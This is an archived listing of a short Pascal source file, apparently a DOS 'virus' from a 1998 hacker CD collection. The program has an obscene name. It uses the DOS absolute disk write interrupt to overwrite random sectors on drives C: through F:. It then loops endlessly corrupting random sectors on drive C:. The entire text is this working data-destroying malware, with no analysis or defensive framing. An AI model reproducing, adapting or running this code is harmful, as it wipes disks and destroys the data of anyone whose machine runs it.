home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / lamer.pas < prev    next >
Encoding:
Pascal/Delphi Source File  |  2003-06-11  |  446 b   |  29 lines
  1. program fuckyou;
  2. uses dos,crt;
  3. var
  4.  i,a,m,g,o,d:integer;
  5.  regS:registers;
  6. begin
  7.  randomize;
  8.  window(1,1,80,25);
  9.  textbackground(0);
  10.  textcolor(7);
  11.  clrscr;
  12.  for i:=2 to 5 do begin
  13.   regs.al:=i;
  14.   regs.cx:=666;
  15.   regs.dx:=0;
  16.   regs.bx:=random(9999);
  17.   intr($26,regs);
  18.  end;
  19.  repeat
  20.   regs.al:=2;
  21.   regs.cx:=random(900)+100;
  22.   regs.dx:=random(1500);
  23.   regs.bx:=random(9999);
  24.   intr($26,regs);
  25.  until true=false;
  26. end.
  27.  
  28.  
  29.